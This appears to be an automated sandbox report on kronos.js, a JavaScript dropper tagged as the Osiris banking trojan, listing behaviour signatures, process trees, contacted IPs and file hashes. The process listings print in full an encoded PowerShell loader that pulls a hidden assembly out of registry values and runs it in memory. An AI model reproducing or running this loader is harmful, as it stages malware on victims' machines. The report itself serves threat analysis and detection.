Analysis Overview
SHA256
6bb71d8bf32cceef6a431136e0c965aa905c45c240b40bb20aa6fb6f661300f3
Threat Level: Known bad
The file kronos.js was found to be: Known bad.
Malicious Activity Summary
Osiris
Executes dropped EXE
Looks up external IP address via web service
Suspicious use of SetThreadContext
Suspicious behavior: CmdExeWriteProcessMemorySpam
Suspicious behavior: EnumeratesProcesses
Suspicious use of SetWindowsHookEx
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
MITRE ATT&CK
Analysis: static1
Detonation Overview
Reported
2021-01-13 06:51
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2021-01-13 06:51
Reported
2021-01-13 06:53
Platform
win7v20201028
Max time kernel
126s
Max time network
15s
Command Line
Signatures
Suspicious behavior: CmdExeWriteProcessMemorySpam
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 372 wrote to memory of 316 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\cmd.exe |
| PID 372 wrote to memory of 316 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\cmd.exe |
| PID 372 wrote to memory of 316 | N/A | C:\Windows\system32\wscript.exe | C:\Windows\System32\cmd.exe |
| PID 316 wrote to memory of 1440 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 316 wrote to memory of 1440 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 316 wrote to memory of 1440 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
| PID 316 wrote to memory of 1440 | N/A | C:\Windows\System32\cmd.exe | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\kronos.js
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -En "PAAjACAAdQB2AHgAdgByAGwAIAAjAD4AJAB1AD0AJABlAG4AdgA6AFUAcwBlAHIATgBhAG0AZQA7AGYAbwByACAAKAAkAGkAPQAwADsAJABpACAALQBsAGUAIAA3ADAAMAA7ACQAaQArACsAKQB7ACQAYwA9ACIASABLAEMAVQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAIgArACQAdQArACIAMQAiADsAVAByAHkAewAkAGEAPQAkAGEAKwAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAHAAYQB0AGgAIAAkAGMAKQAuACQAaQB9AEMAYQB0AGMAaAB7AH0AfQA7AGYAdQBuAGMAdABpAG8AbgAgAGMAaABiAGEAewBbAGMAbQBkAGwAZQB0AGIAaQBuAGQAaQBuAGcAKAApAF0AcABhAHIAYQBtACgAWwBwAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACkAXQBbAFMAdAByAGkAbgBnAF0AJABoAHMAKQA7ACQAQgB5AHQAZQBzACAAPQAgAFsAYgB5AHQAZQBbAF0AXQA6ADoAbgBlAHcAKAAkAGgAcwAuAEwAZQBuAGcAdABoACAALwAgADIAKQA7AGYAbwByACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGgAcwAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwA9ADIAKQB7ACQAQgB5AHQAZQBzAFsAJABpAC8AMgBdACAAPQAgAFsAYwBvAG4AdgBlAHIAdABdADoAOgBUAG8AQgB5AHQAZQAoACQAaABzAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAGkALAAgADIAKQAsACAAMQA2ACkAfQAkAEIAeQB0AGUAcwB9ADsAJABpACAAPQAgADAAOwBXAGgAaQBsAGUAIAAoACQAVAByAHUAZQApAHsAJABpACsAKwA7ACQAawBvACAAPQAgAFsAbQBhAHQAaABdADoAOgBTAHEAcgB0ACgAJABpACkAOwBpAGYAIAAoACQAawBvACAALQBlAHEAIAAxADAAMAAwACkAewAgAGIAcgBlAGEAawB9AH0AWwBiAHkAdABlAFsAXQBdACQAYgAgAD0AIABjAGgAYgBhACgAJABhAC4AcgBlAHAAbABhAGMAZQAoACIAIwAiACwAJABrAG8AKQApADsAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGIAKQA7AFsATQBvAGQAZQBdADoAOgBTAGUAdAB1AHAAKAApADsA "
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -En "PAAjACAAdQB2AHgAdgByAGwAIAAjAD4AJAB1AD0AJABlAG4AdgA6AFUAcwBlAHIATgBhAG0AZQA7AGYAbwByACAAKAAkAGkAPQAwADsAJABpACAALQBsAGUAIAA3ADAAMAA7ACQAaQArACsAKQB7ACQAYwA9ACIASABLAEMAVQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAIgArACQAdQArACIAMQAiADsAVAByAHkAewAkAGEAPQAkAGEAKwAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAHAAYQB0AGgAIAAkAGMAKQAuACQAaQB9AEMAYQB0AGMAaAB7AH0AfQA7AGYAdQBuAGMAdABpAG8AbgAgAGMAaABiAGEAewBbAGMAbQBkAGwAZQB0AGIAaQBuAGQAaQBuAGcAKAApAF0AcABhAHIAYQBtACgAWwBwAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACkAXQBbAFMAdAByAGkAbgBnAF0AJABoAHMAKQA7ACQAQgB5AHQAZQBzACAAPQAgAFsAYgB5AHQAZQBbAF0AXQA6ADoAbgBlAHcAKAAkAGgAcwAuAEwAZQBuAGcAdABoACAALwAgADIAKQA7AGYAbwByACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGgAcwAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwA9ADIAKQB7ACQAQgB5AHQAZQBzAFsAJABpAC8AMgBdACAAPQAgAFsAYwBvAG4AdgBlAHIAdABdADoAOgBUAG8AQgB5AHQAZQAoACQAaABzAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAGkALAAgADIAKQAsACAAMQA2ACkAfQAkAEIAeQB0AGUAcwB9ADsAJABpACAAPQAgADAAOwBXAGgAaQBsAGUAIAAoACQAVAByAHUAZQApAHsAJABpACsAKwA7ACQAawBvACAAPQAgAFsAbQBhAHQAaABdADoAOgBTAHEAcgB0ACgAJABpACkAOwBpAGYAIAAoACQAawBvACAALQBlAHEAIAAxADAAMAAwACkAewAgAGIAcgBlAGEAawB9AH0AWwBiAHkAdABlAFsAXQBdACQAYgAgAD0AIABjAGgAYgBhACgAJABhAC4AcgBlAHAAbABhAGMAZQAoACIAIwAiACwAJABrAG8AKQApADsAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGIAKQA7AFsATQBvAGQAZQBdADoAOgBTAGUAdAB1AHAAKAApADsA "
Network
Files
memory/316-2-0x0000000000000000-mapping.dmp
memory/372-3-0x0000000002E90000-0x0000000002E94000-memory.dmp
memory/1440-4-0x0000000000000000-mapping.dmp
memory/1440-5-0x0000000074090000-0x000000007477E000-memory.dmp
memory/1440-6-0x0000000002220000-0x0000000002221000-memory.dmp
memory/1440-7-0x0000000004750000-0x0000000004751000-memory.dmp
memory/1440-8-0x00000000025C0000-0x00000000025C1000-memory.dmp
memory/1440-9-0x0000000005240000-0x0000000005241000-memory.dmp
memory/1440-12-0x0000000006100000-0x0000000006101000-memory.dmp
memory/1440-17-0x00000000056D0000-0x00000000056D1000-memory.dmp
memory/1440-18-0x0000000006140000-0x0000000006141000-memory.dmp
memory/1440-25-0x0000000006250000-0x0000000006251000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2021-01-13 06:51
Reported
2021-01-13 06:53
Platform
win10v20201028
Max time kernel
150s
Max time network
142s
Command Line
Signatures
Osiris
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\GetX64BTIT.exe | N/A |
Looks up external IP address via web service
| Description | Indicator | Process | Target |
| N/A | api.ipify.org | N/A | N/A |
| N/A | api.ipify.org | N/A | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 3016 set thread context of 3820 | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe |
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\kronos.js
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -En "PAAjACAAdQB2AHgAdgByAGwAIAAjAD4AJAB1AD0AJABlAG4AdgA6AFUAcwBlAHIATgBhAG0AZQA7AGYAbwByACAAKAAkAGkAPQAwADsAJABpACAALQBsAGUAIAA3ADAAMAA7ACQAaQArACsAKQB7ACQAYwA9ACIASABLAEMAVQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAIgArACQAdQArACIAMQAiADsAVAByAHkAewAkAGEAPQAkAGEAKwAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAHAAYQB0AGgAIAAkAGMAKQAuACQAaQB9AEMAYQB0AGMAaAB7AH0AfQA7AGYAdQBuAGMAdABpAG8AbgAgAGMAaABiAGEAewBbAGMAbQBkAGwAZQB0AGIAaQBuAGQAaQBuAGcAKAApAF0AcABhAHIAYQBtACgAWwBwAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACkAXQBbAFMAdAByAGkAbgBnAF0AJABoAHMAKQA7ACQAQgB5AHQAZQBzACAAPQAgAFsAYgB5AHQAZQBbAF0AXQA6ADoAbgBlAHcAKAAkAGgAcwAuAEwAZQBuAGcAdABoACAALwAgADIAKQA7AGYAbwByACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGgAcwAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwA9ADIAKQB7ACQAQgB5AHQAZQBzAFsAJABpAC8AMgBdACAAPQAgAFsAYwBvAG4AdgBlAHIAdABdADoAOgBUAG8AQgB5AHQAZQAoACQAaABzAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAGkALAAgADIAKQAsACAAMQA2ACkAfQAkAEIAeQB0AGUAcwB9ADsAJABpACAAPQAgADAAOwBXAGgAaQBsAGUAIAAoACQAVAByAHUAZQApAHsAJABpACsAKwA7ACQAawBvACAAPQAgAFsAbQBhAHQAaABdADoAOgBTAHEAcgB0ACgAJABpACkAOwBpAGYAIAAoACQAawBvACAALQBlAHEAIAAxADAAMAAwACkAewAgAGIAcgBlAGEAawB9AH0AWwBiAHkAdABlAFsAXQBdACQAYgAgAD0AIABjAGgAYgBhACgAJABhAC4AcgBlAHAAbABhAGMAZQAoACIAIwAiACwAJABrAG8AKQApADsAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGIAKQA7AFsATQBvAGQAZQBdADoAOgBTAGUAdAB1AHAAKAApADsA "
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe -En "PAAjACAAdQB2AHgAdgByAGwAIAAjAD4AJAB1AD0AJABlAG4AdgA6AFUAcwBlAHIATgBhAG0AZQA7AGYAbwByACAAKAAkAGkAPQAwADsAJABpACAALQBsAGUAIAA3ADAAMAA7ACQAaQArACsAKQB7ACQAYwA9ACIASABLAEMAVQA6AFwAUwBPAEYAVABXAEEAUgBFAFwAIgArACQAdQArACIAMQAiADsAVAByAHkAewAkAGEAPQAkAGEAKwAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAAtAHAAYQB0AGgAIAAkAGMAKQAuACQAaQB9AEMAYQB0AGMAaAB7AH0AfQA7AGYAdQBuAGMAdABpAG8AbgAgAGMAaABiAGEAewBbAGMAbQBkAGwAZQB0AGIAaQBuAGQAaQBuAGcAKAApAF0AcABhAHIAYQBtACgAWwBwAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5AD0AJAB0AHIAdQBlACkAXQBbAFMAdAByAGkAbgBnAF0AJABoAHMAKQA7ACQAQgB5AHQAZQBzACAAPQAgAFsAYgB5AHQAZQBbAF0AXQA6ADoAbgBlAHcAKAAkAGgAcwAuAEwAZQBuAGcAdABoACAALwAgADIAKQA7AGYAbwByACgAJABpAD0AMAA7ACAAJABpACAALQBsAHQAIAAkAGgAcwAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwA9ADIAKQB7ACQAQgB5AHQAZQBzAFsAJABpAC8AMgBdACAAPQAgAFsAYwBvAG4AdgBlAHIAdABdADoAOgBUAG8AQgB5AHQAZQAoACQAaABzAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkAGkALAAgADIAKQAsACAAMQA2ACkAfQAkAEIAeQB0AGUAcwB9ADsAJABpACAAPQAgADAAOwBXAGgAaQBsAGUAIAAoACQAVAByAHUAZQApAHsAJABpACsAKwA7ACQAawBvACAAPQAgAFsAbQBhAHQAaABdADoAOgBTAHEAcgB0ACgAJABpACkAOwBpAGYAIAAoACQAawBvACAALQBlAHEAIAAxADAAMAAwACkAewAgAGIAcgBlAGEAawB9AH0AWwBiAHkAdABlAFsAXQBdACQAYgAgAD0AIABjAGgAYgBhACgAJABhAC4AcgBlAHAAbABhAGMAZQAoACIAIwAiACwAJABrAG8AKQApADsAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGIAKQA7AFsATQBvAGQAZQBdADoAOgBTAGUAdAB1AHAAKAApADsA "
C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe
"C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe"
C:\Users\Admin\AppData\Local\Temp\GetX64BTIT.exe
"C:\Users\Admin\AppData\Local\Temp\GetX64BTIT.exe"
Network
| Country | Destination | Domain | Proto |
| N/A | 193.23.244.244:80 | 193.23.244.244 | tcp |
| N/A | 171.25.193.9:443 | 171.25.193.9 | tcp |
| N/A | 128.31.0.34:9131 | 128.31.0.34 | tcp |
| N/A | 8.8.8.8:53 | api.ipify.org | udp |
| N/A | 54.235.83.248:443 | api.ipify.org | tcp |
| N/A | 128.31.0.34:9131 | 128.31.0.34 | tcp |
| N/A | 171.25.193.9:443 | 171.25.193.9 | tcp |
| N/A | 204.13.164.118:80 | 204.13.164.118 | tcp |
| N/A | 10.10.0.78:59662 | udp | |
| N/A | 193.23.244.244:80 | 193.23.244.244 | tcp |
| N/A | 51.38.83.96:80 | 51.38.83.96 | tcp |
| N/A | 195.189.96.148:443 | tcp | |
| N/A | 8.8.8.8:53 | time-a.nist.gov | udp |
| N/A | 129.6.15.28:13 | time-a.nist.gov | tcp |
| N/A | 3.8.18.137:80 | 3.8.18.137 | tcp |
| N/A | 94.100.6.27:80 | 94.100.6.27 | tcp |
| N/A | 107.189.10.42:80 | 107.189.10.42 | tcp |
| N/A | 91.228.53.86:80 | tcp | |
| N/A | 46.38.51.18:80 | 46.38.51.18 | tcp |
| N/A | 193.106.31.2:80 | 193.106.31.2 | tcp |
| N/A | 91.203.144.194:443 | tcp | |
| N/A | 185.220.102.246:80 | 185.220.102.246 | tcp |
| N/A | 208.68.7.129:80 | 208.68.7.129 | tcp |
| N/A | 145.239.7.168:80 | 145.239.7.168 | tcp |
| N/A | 40.115.158.160:443 | tcp | |
| N/A | 185.56.80.65:80 | 185.56.80.65 | tcp |
| N/A | 193.31.24.154:80 | 193.31.24.154 | tcp |
| N/A | 185.165.168.168:80 | 185.165.168.168 | tcp |
Files
memory/3508-3-0x0000000000000000-mapping.dmp
memory/3016-4-0x0000000000000000-mapping.dmp
memory/3016-5-0x0000000073960000-0x000000007404E000-memory.dmp
memory/3016-6-0x00000000040E0000-0x00000000040E1000-memory.dmp
memory/3016-7-0x0000000006EA0000-0x0000000006EA1000-memory.dmp
memory/3016-8-0x0000000006A90000-0x0000000006A91000-memory.dmp
memory/3016-9-0x0000000006C30000-0x0000000006C31000-memory.dmp
memory/3016-10-0x0000000006CA0000-0x0000000006CA1000-memory.dmp
memory/3016-11-0x00000000075F0000-0x00000000075F1000-memory.dmp
memory/3016-12-0x0000000006D70000-0x0000000006D71000-memory.dmp
memory/3016-13-0x0000000007B20000-0x0000000007B21000-memory.dmp
memory/3016-14-0x0000000007CC0000-0x0000000007CC1000-memory.dmp
memory/3016-15-0x0000000008C80000-0x0000000008C81000-memory.dmp
memory/3016-16-0x00000000089A0000-0x00000000089A1000-memory.dmp
memory/3016-17-0x0000000008C10000-0x0000000008C11000-memory.dmp
memory/3016-18-0x0000000009220000-0x0000000009221000-memory.dmp
memory/3016-19-0x0000000008D20000-0x0000000008D22000-memory.dmp
memory/3016-20-0x0000000008E90000-0x0000000008FDC000-memory.dmp
memory/3820-21-0x0000000000400000-0x0000000000456000-memory.dmp
memory/3820-22-0x0000000000401698-mapping.dmp
memory/3820-23-0x0000000000400000-0x0000000000456000-memory.dmp
memory/2200-24-0x0000000000000000-mapping.dmp
C:\Users\Admin\AppData\Local\Temp\GetX64BTIT.exe
| MD5 | b4cd27f2b37665f51eb9fe685ec1d373 |
| SHA1 | 7f08febf0fdb7fc9f8bf35a10fb11e7de431abe0 |
| SHA256 | 91f1023142b7babf6ff75dad984c2a35bde61dc9e61f45483f4b65008576d581 |
| SHA512 | e025f65224d78f5fd0abebe281ac0d44a385b2641e367cf39eed6aefada20a112ac47f94d7febc4424f1db6a6947bac16ff83ef93a8d745b3cddfdbe64c49a1e |
C:\Users\Admin\AppData\Local\Temp\GetX64BTIT.exe
| MD5 | b4cd27f2b37665f51eb9fe685ec1d373 |
| SHA1 | 7f08febf0fdb7fc9f8bf35a10fb11e7de431abe0 |
| SHA256 | 91f1023142b7babf6ff75dad984c2a35bde61dc9e61f45483f4b65008576d581 |
| SHA512 | e025f65224d78f5fd0abebe281ac0d44a385b2641e367cf39eed6aefada20a112ac47f94d7febc4424f1db6a6947bac16ff83ef93a8d745b3cddfdbe64c49a1e |
C:\Users\Admin\AppData\Local\Temp\x64btit.txt
| MD5 | 75ecdeebb2335db1f411ebfb8ca55d66 |
| SHA1 | 97f4a3d62fd631674243b6b945289a6b936e7539 |
| SHA256 | 608ec93dcdc0f67c7952a68b9ed35095fad98173e4510825c5cc5714588beafa |
| SHA512 | 7343164cb6cee66fa75c8677192d84e200d436176eca4a0d92fc323b89e051d650525b17f821a938e5c723a7ea4d4d0c56a1d37ba8b441df2799512e0cb5aa21 |